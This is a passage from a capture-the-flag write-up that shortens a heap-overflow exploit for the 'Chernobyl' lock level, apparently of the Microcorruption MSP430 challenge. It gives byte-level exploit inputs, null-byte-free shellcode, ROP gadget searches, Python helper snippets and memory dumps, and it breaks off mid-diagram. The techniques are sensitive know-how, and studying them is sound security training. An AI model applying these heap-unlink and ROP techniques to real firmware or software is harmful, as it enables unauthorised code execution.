Adding user account =PI with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
Adding user account with pin 0000.
User already has an account.
This issue results from the following byte in the shellcode.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324000ffb01210
Recall how the preceding command works. Sending 6e is equivalent to sending 6e00000000. Notice the following pattern.
Example Null Username
6e00000000Injected Shellcode
6e00324000ffb01210Sending 6e by itself earlier added a single null byte username. The third byte of the shellcode, also null, is parsed as a username. The implementation will thus throw an error because this payload inadvertently adds the same username twice.
Abusing Status Register Flags
Recall that the shellcode disassembles to the following instructions.
3240 00ff mov #0xff00, sr
b012 1000 call #0x10
The status register (SR) contains a series of bitwise flags. The upper eight bits must contain 0xFF to trigger the unlock interrupt, but the lower eight can be a range of values without affecting the interrupt call.
3240 00ff mov #0xff00, sr
b012 1000 call #0x10
Setting the lower byte to 0x01 is sufficient to avoid nulls.
3240 01ff mov #0xff01, sr
b012 1000 call #0x10
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324001ffb01210
The above input triggers the unlock interrupt successfully.
A backend change altered how interrupt calls interpret the contents of SR, which breaks this particular exploit. It still works on older emulators, however. The length of the exploit is now sixty-six bytes.
>>> get_size("exploit.txt")
66Leaderboard Ranking
This length puts the exploit at 15th place globally on the Chernobyl exploit size leaderboard.
| Position | Username | Exploit Size (Bytes) |
|---|---|---|
1st |
ThatsMe |
59 |
... |
... |
.. |
15th |
b9ek |
66 |
Hitting Top Five
Sixty-Five Bytes
Previous exploits assume the forward pointer must be 0x50fc, or it will break the linked list and cause malloc to emit the heap exhaustion error. This axiom is invalid. Observe the structure of the forward pointers in the linked list.
┌─────────────────────────────────────────┐
▼ │
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 │
5010: 0050 2650 2100 4250 a250 0251 6251 c251 │
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 │
5030: 0000 0000 0000 0000 0000 0000 2650 9c50─┐ │
5040: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5050: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5060: * ┌─────────┘ │
▼ │
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50─┐ │
50a0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
50c0: * ┌─────────┘ │
▼ │
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51─┐ │
5100: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5110: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5120: * ┌─────────┘ │
▼ │
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51─┐ │
5160: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5170: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5180: * ┌─────────┘ │
▼ │
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52─┐ │
51c0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
51e0: * ┌─────────┘ │
▼ │
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52─┐ │
5220: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5230: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5240: * ┌─────────┘ │
▼ │
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52─┐ │
5280: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5290: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
52a0: * ┌─────────┘ │
▼ │
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53─┐ │
52e0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5300: * ┌─────────┘ │
▼ │
5330: 0000 0000 0000 0000 0000 0000 dc52 0050───┘
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000
5350: 0000 0000 0000 0000 0000 0000 0000 0000
5360: *
The rehash function calls malloc multiple times to allocate space for the new hash table. During those calls, malloc will follow the forward pointers while checking the size field for each chunk to see if it is free and large enough to hold the allocation. Eventually, it will get to the chunk that satisfies both constraints: the wilderness chunk.
┌─────────────────────────────────────────┐
▼ │
5000: 0050 1050 1500 0000 0300 0500 1650 2c50 │
5010: 0050 2650 2100 4250 a250 0251 6251 c251 │
5020: 2252 8252 e252 1050 3c50 2100 0000 0000 │
5030: 0000 0000 0000 0000 0000 0000 2650 9c50─┐ │
5040: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5050: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5060: * ┌─────────┘ │
▼ │
5090: 0000 0000 0000 0000 0000 0000 3c50 fc50─┐ │
50a0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
50c0: * ┌─────────┘ │
▼ │
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51─┐ │
5100: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5110: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5120: * ┌─────────┘ │
▼ │
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51─┐ │
5160: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5170: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5180: * ┌─────────┘ │
▼ │
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52─┐ │
51c0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
51e0: * ┌─────────┘ │
▼ │
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52─┐ │
5220: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5230: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5240: * ┌─────────┘ │
▼ │
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52─┐ │
5280: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5290: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
52a0: * ┌─────────┘ │
▼ │
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53─┐ │
52e0: b500 0000 0000 0000 0000 0000 0000 0000 │ │
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
5300: * ┌─────────┘ │
▼ │
5330: 0000 0000 0000 0000 0000 0000 dc52 0050───┘
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000
5350: 0000 0000 0000 0000 0000 0000 0000 0000
5360: *
As long as malloc can traverse the linked list and eventually reach the wilderness chunk, heap exhaustion will not occur. Aiming the corrupted forward pointer at any subsequent chunk accomplishes this.
5000: 0050 1050 1500 0000 0300 0500 1650 2c50
5010: 0050 2650 2100 4250 a250 0251 6251 c251
5020: 2252 8252 e252 1050 3c50 2100 0000 0000
5030: 0000 0000 0000 0000 0000 0000 2650 9c50─┐
5040: b500 0000 0000 0000 0000 0000 0000 0000 │
5050: 0000 0000 0000 0000 0000 0000 0000 0000 │
5060: * ┌─────────┘
▼
5090: 0000 0000 0000 0000 0000 0000 3c50 ????─┬─┬─┬─┬─┬─┬─┐
50a0: b500 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │ │ │
50b0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │ │ │
50c0: * ┌─────────┘ │ │ │ │ │ │
▼ │ │ │ │ │ │
50f0: 0000 0000 0000 0000 0000 0000 9c50 5c51 │ │ │ │ │ │
5100: b500 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │ │
5110: 0000 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │ │
5120: * ┌───────────┘ │ │ │ │ │
▼ │ │ │ │ │
5150: 0000 0000 0000 0000 0000 0000 fc50 bc51 │ │ │ │ │
5160: b500 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │
5170: 0000 0000 0000 0000 0000 0000 0000 0000 │ │ │ │ │
5180: * ┌─────────────┘ │ │ │ │
▼ │ │ │ │
51b0: 0000 0000 0000 0000 0000 0000 5c51 1c52 │ │ │ │
51c0: b500 0000 0000 0000 0000 0000 0000 0000 │ │ │ │
51d0: 0000 0000 0000 0000 0000 0000 0000 0000 │ │ │ │
51e0: * ┌───────────────┘ │ │ │
▼ │ │ │
5210: 0000 0000 0000 0000 0000 0000 bc51 7c52 │ │ │
5220: b500 0000 0000 0000 0000 0000 0000 0000 │ │ │
5230: 0000 0000 0000 0000 0000 0000 0000 0000 │ │ │
5240: * ┌─────────────────┘ │ │
▼ │ │
5270: 0000 0000 0000 0000 0000 0000 1c52 dc52 │ │
5280: b500 0000 0000 0000 0000 0000 0000 0000 │ │
5290: 0000 0000 0000 0000 0000 0000 0000 0000 │ │
52a0: * ┌───────────────────┘ │
▼ │
52d0: 0000 0000 0000 0000 0000 0000 7c52 3c53 │
52e0: b500 0000 0000 0000 0000 0000 0000 0000 │
52f0: 0000 0000 0000 0000 0000 0000 0000 0000 │
5300: * ┌─────────────────────┘
▼
5330: 0000 0000 0000 0000 0000 0000 dc52 0050
5340: 7cf9 0000 0000 0000 0000 0000 0000 0000
5350: 0000 0000 0000 0000 0000 0000 0000 0000
5360: *
This behavior means the existing forward pointer (0x50fc) is replaceable with any of the seven others. Given eight forward pointers, each with a 1 in 8 chance to cause the hash of the exploit to be zero, the inclusive probability of success is about 0.66. The collision byte is now unnecessary, which reduces the exploit length by one byte. The search for a forward pointer that causes the exploit to hash to bucket zero can be automated as follows.
>>> fdlist = ["fc50", "5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'ca3d' + i.encode() + b'47f4'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
...
>>>
Luck is unfavorable in this case, and the search yields nothing. None of the other forward pointers cause the exploit to hash to bucket zero. There is a way around this, however. Recall that this exploit redirects execution to the shellcode beginning here:
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324001ffb01210
Nothing prevents returning to the word just before this.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4fc
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00324001ffb01210
As long as this word is effectively a NOP, returning to it will cause execution to slide into the rest of the shellcode. Setting the second byte to 0x40 accomplishes this.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5047f4
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e40324001ffb01210
This word disassembles to the following opcode.
6e40 mov.b @pc, r14After that, the size must be decremented by two to have the exploit return to an address one word earlier.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3dfc5045f4
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e40324001ffb01210
The last step is searching for a suitable forward pointer.
>>> fdlist = ["fc50", "5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'ca3d' + i.encode() + b'45f4'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
...
b'ca3d1c5245f4'
b'ca3d7c5245f4'
b'ca3ddc5245f4'
>>>
The search succeeds this time.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000ca3d1c5245f4
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e40324001ffb01210
This exploit successfully triggers the unlock interrupt.
>>> get_size("exploit.txt")
65Sixty-One Bytes
The next question is whether the shellcode is as optimized as possible. It is practically impossible to trigger the unlock interrupt in less than four words of shellcode. The details for developing the optimized current payload are irrelevant, but suffice it to say that the last instruction must be CALL 0x10 to allow for the omission of the eighth byte. This shellcode is as short as is realistic on this ISA.
Regular Shellcode
3240 01ff b012 1000Shellcode Without Trailing Null
3240 01ff b012 10The next step is replacing this shellcode with more space-efficient ROP gadgets.
Return Oriented Programming
The first crucial requirement is taking control of the stack. The stack pointer must overlap a buffer filled with attacker-chosen ROP gadgets. The stack layout is as follows at the time of the unlink. The return address for free is at address 0x3dce.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
Recall that the implementation reads raw user input into a temporary buffer before parsing commands. This buffer, several hundred bytes long, is an ideal place to store gadgets.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
The goal is to overwrite the return address so that it returns to a gadget comprised of several POP instructions, which will increment the stack pointer until it overlaps the buffer containing untrusted input. The firmware will then return to a fully attacker-controlled word.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
This arrangement means the chosen gadget must pop fifteen words off the stack before returning.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
Such an operation is unrealistic, as this MCU has sixteen registers—only twelve of which are general purpose. A search through the disassembly reveals that the most optimal gadget is only eight POP instructions long.
49ba: 3441 pop r4
49bc: 3541 pop r5
49be: 3641 pop r6
49c0: 3741 pop r7
49c2: 3841 pop r8
49c4: 3941 pop r9
49c6: 3a41 pop r10
49c8: 3b41 pop r11
49ca: 3041 ret
Overwriting Return Addresses In The Outer Scope
The lack of suitable gadgets necessitates overwriting a different return address—ideally, one closer to the buffer containing attacker-controlled data. The return address for the rehash function is a viable candidate.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
There is only one word between this return address and the first fully attacker-controlled word.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f63d bc4c 6e40 3240 .PjH.=...=.Ln@2@
3df0: 01ff b012 1000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
Targeting this one shortens the required sequence to only one POP instruction. There are a dozen such ROP gadgets available.
Attempt #1:
The gadget at address 0x4562 is selected arbitrarily.
4562: 3b41 pop r11
4564: 3041 ret
The target return address points to address 0x4cbc. Calculating the correct size field proceeds as follows.
>>> rop_gadget_address = 0x4562
>>> return_address = 0x4cbc
>>> hex((rop_gadget_address-return_address-6+1) & 0xffff)
'0xf8a1'Unfortunately, the search for a valid forward pointer fails with this gadget.
>>> fdlist = ["fc50", "5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'e63d' + i.encode() + b'a1f8'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
...
>>>Attempt #2:
The gadget at address 0x4718 is selected arbitrarily.
4718: 3b41 pop r11
471a: 3041 ret
Calculating the correct size field proceeds as follows.
>>> rop_gadget_address = 0x4718
>>> return_address = 0x4cbc
>>> hex((rop_gadget_address-return_address-6+1) & 0xffff)
'0xfa57'
This time, the search for a valid forward pointer succeeds.
>>> fdlist = ["fc50", "5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'e63d' + i.encode() + b'57fa'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
...
b'e63d1c5257fa'
b'e63d7c5257fa'
b'e63ddc5257fa'
>>>
Any of these usernames will work, so the first is selected arbitrarily.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e40324001ffb01210
This exploit will not work because it attempts to return to a ROP gadget and finds a word of shellcode instead, so the next step is to fix that.
Size Optimized ROP Chain
Consider the following dummy values.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e001111333355557777
An attempt to return to any of these words will result in the "insn address unaligned" crash on this ISA, which verifies that the exploit is working correctly. The crash happens when the processor attempts to return to address 0x1111.
Debugger Output
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.
This crash indicates that an arbitrary ROP chain can be stored starting here.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e001111333355557777
The only concern now is writing a ROP chain that is as short as possible. Ideally, the total payload should be the minimum possible length—the same length as the command to add a single-byte username.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00??????
Again, the gadget at address 0x4718 will pop a word off the stack and return to the address here.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00??????
This constraint means the ROP chain should be only one gadget and one single-byte parameter—the payload must fit in only three bytes. Satisfying this requirement necessitates careful stack frame alignment.
Consider a regular call to the INT function on an earlier firmware version.
4564: 3012 7f00 push #0x7f
4568: b012 b646 call #0x46b6 <INT>
Observe what happens to stack memory.
┌────┐
│ SP │
└─┬──┘
│
▼
┌────────────┐ ┌────┬────┬────┬────┐
│ STACK │ │0000│0000│0000│....│
└────────────┘ └────┴────┴────┴────┘
┌────────────┐ ┌───────────────────┐ ┌──┐
│ │ │push #0x7f │◄─┤PC│
│INSTRUCTIONS│ ├───────────────────┤ └──┘
│ │ │call #0x46b6 <INT> │
└────────────┘ └───────────────────┘
┌────┐
│ SP │
└─┬──┘
│
▼
┌────────────┐ ┌────┬────┬────┬────┐
│ STACK │ │0000│0000│7f00│....│
└────────────┘ └────┴────┴────┴────┘
┌────────────┐ ┌───────────────────┐
│ │ │push #0x7f │
│INSTRUCTIONS│ ├───────────────────┤ ┌──┐
│ │ │call #0x46b6 <INT> │◄─┤PC│
└────────────┘ └───────────────────┘ └──┘
┌────┐
│ SP │
└─┬──┘
│
▼
┌────────────┐ ┌────┬────┬────┬────┐
│ STACK │ │0000│6c45│7f00│....│
└────────────┘ └────┴────┴────┴────┘
┌────────────┐ ┌───────────────────┐
│ │ │push #0x7f │
│INSTRUCTIONS│ ├───────────────────┤
│ │ │call #0x46b6 <INT> │
└────────────┘ └───────────────────┘
The calling function passes interrupt number 0x7F to INT—the function that calls address 0x10. If the exploit returns directly to INT, there must be a word before the interrupt number where the return address would be.
6e00ec4cffff7fThis ROP payload is shorter than the shellcode but is still not the minimum length. Returning into the middle of another function, at the exact instruction where it calls INT, avoids the dummy return address taking up space in the ROP chain. The end of the puts function works nicely for this.
4d6a: 3012 0a00 push #0xa
4d6e: 0312 push #0x0
4d70: b012 ec4c call #0x4cec <INT>
4d74: 2152 add #0x4, sp
4d76: 0f43 clr r15
4d78: 3b41 pop r11
4d7a: 3041 ret
The ROP chain is now as follows.
6e00704d7fThe full exploit is below.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
This version successfully triggers the unlock interrupt.
>>> get_size("exploit.txt")
61Sixty Bytes
The executing firmware adds the corrupted size field to the return address and returns to a ROP gadget comprised of a single POP instruction. Considering that there are a dozen such gadgets, one may be within 256 bytes of the return location—meaning it may be possible to redirect execution to a POP gadget with only a single byte overflow in the size field.
The rehash function returns here.
4cbc: 0e3c jmp $+0x1e <run+0x174>
4cbe: 3f40 544b mov #0x4b54, r15
4cc2: b012 504d call #0x4d50 <puts>
4cc6: 1f43 mov #0x1, r15
4cc8: 3150 0006 add #0x600, sp
4ccc: 3741 pop r7
4cce: 3841 pop r8
4cd0: 3941 pop r9
4cd2: 3a41 pop r10
4cd4: 3b41 pop r11
4cd6: 3041 ret
This location is very close to the end of the function, and there is a POP instruction just before the return instruction—at address 0x4cd4.
4cbc: 0e3c jmp $+0x1e <run+0x174>
4cbe: 3f40 544b mov #0x4b54, r15
4cc2: b012 504d call #0x4d50 <puts>
4cc6: 1f43 mov #0x1, r15
4cc8: 3150 0006 add #0x600, sp
4ccc: 3741 pop r7
4cce: 3841 pop r8
4cd0: 3941 pop r9
4cd2: 3a41 pop r10
4cd4: 3b41 pop r11
4cd6: 3041 ret
The size field calculation is below.
>>> rop_gadget_address = 0x4cd4
>>> return_address = 0x4cbc
>>> hex((rop_gadget_address-return_address-6+1) & 0xffff)
'0x13'
This value meets the length criteria, so the remaining question is whether a suitable forward pointer is available.
>>> fdlist = ["fc50", "5c51", "bc51", "1c52", "7c52", "dc52", "3c53"]
>>> for i in fdlist:
... overflow = b'e63d' + i.encode() + b'13'
... if hash_username(overflow) % 8 == 0:
... print(overflow)
...
b'e63dfc5013'
>>>The revised exploit is now as follows.
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63dfc5013
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Instruction Unaligned Crash
Unfortunately, this exploit results in an unusual crash.
insn address unaligned
CPUOFF flag set; program no longer running. CPU must now be reset.
Debugging
Observe what happens to stack memory after each call to the free function. The overwritten return address will be here.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 f23d bc4c 6e00 704d .PjH.=...=.Ln.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
Single-stepping reveals that the arbitrary write completes successfully. The stack is as follows after freeing the corrupted chunk.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 fc50 d44c 6e00 704d .PjH.=...P.Ln.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
This behavior is as expected. The problem arises during the subsequent free calls.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 5c51 8e4d 6e00 704d .PjH.=..\Q.Mn.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
3dc0: 004d 0100 124d 7448 3250 1c50 0650 a249 .M...MtH2P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 bc51 484e 6e00 704d .PjH.=...QHNn.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
3dc0: 004d 0100 124d 7448 3450 1e50 0650 a249 .M...MtH4P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 1c52 024f 6e00 704d .PjH.=...R.On.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
3dc0: 004d 0100 124d 7448 3650 2050 0650 a249 .M...MtH6P P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 7c52 bc4f 6e00 704d .PjH.=..|R.On.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
3dc0: 004d 0100 124d 7448 3850 2250 0650 a249 .M...MtH8P"P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 dc52 7650 6e00 704d .PjH.=...RvPn.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
3dc0: 004d 0100 124d 7448 3850 2250 0650 a249 .M...MtH8P"P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 3c53 3051 6e00 704d .PjH.=..<S0Qn.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
Recall that performing the write requires the implementation to interpret three words on the stack as being part of a heap chunk. In this case, the forward pointer and size of that "chunk" are updated by every free call after the initial write occurs. This bug is unique to this particular exploit—it does not affect the previous ones.
Regression Testing
Think about what is required for this behavior to occur. The free function must be called multiple times, so this issue must be a byproduct of the choice to change the target return address to one in the outer scope. Previous exploits overwrote the return address for the first free call, so execution never reached the others. Changing the target return address was necessary to switch from shellcode to ROP gadgets, so the 61-byte exploit must have introduced this issue.
Differential Analysis
After comparing the two, it becomes apparent that the 61-byte exploit does not have this problem.
3dc0: 004d 0100 124d 7448 2c50 1650 0650 a249 .M...MtH,P.P.P.I
3dd0: 0800 0000 085a 0000 ff05 0650 0000 f03d .....Z.....P...=
3de0: 0650 6a48 f03d 0000 1c52 1847 6e00 704d .PjH.=...R.Gn.pM
3df0: 7f00 0000 0000 0000 0000 0000 0000 0000 ................
3e00: 0000 0000 0000 0000 0000 0000 0000 0000 ................
3e10: *
With that exploit, subsequent calls to free do not update the above two words. There must be some difference between these two exploits to result in this behavior. The back pointer and ROP gadgets have not changed, so the only difference between the two is the forward pointer and the size.
Length: 61 bytes
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63d1c5257fa
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
Length: 60 bytes
6e000000f0
6e000000e0
6e000000d0
6e000000c0
6e000000b0
6e000000e63dfc5013
6e000000aa
6e000000bb
6e000000cc
6e000000dd
6e
6e00704d7f
There are two reasonable hypotheses:
- Something is wrong with the size (i.e., there may be a minimum).
- Something is wrong with the forward pointer.
The behavior of the size field is very well understood from previous analysis done on Algiers, so the culprit must be the forward pointer. Observe what happens during the normal execution of the algorithm.
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #1 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 5026 │ 509c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 503c │ 50fc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 509c │ 515c │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ 50fc │ 51bc │ 00b5 │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐
└─┤ .... │ .... │ .... │
└────────┴────────┴────────┘
┌──────────────────────────┐ ┌──────────────┐
│ HEAP │ │ │
├────────┬────────┬────────┤ │ FREE CALL #1 │
│ BK │ FD │ SIZE │ │ │
└────────┴────────┴────────┘ └──────────────┘
┌────────┬────────┬────────┐
│ .... │ .... │ .... │
└────────┴─────┬──┴────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
│ ┌────────┬────────┬────────┐ ┌────────────────┐
└─┤ 5026 │ 509c │ 00b4 │◄─┤UNSET IN-USE BIT│
└────────┴─────┬──┴────────┘ └────────────────┘
▲ │
┌────┘ │
│ │
│ ┌───────────┘
│ ▼
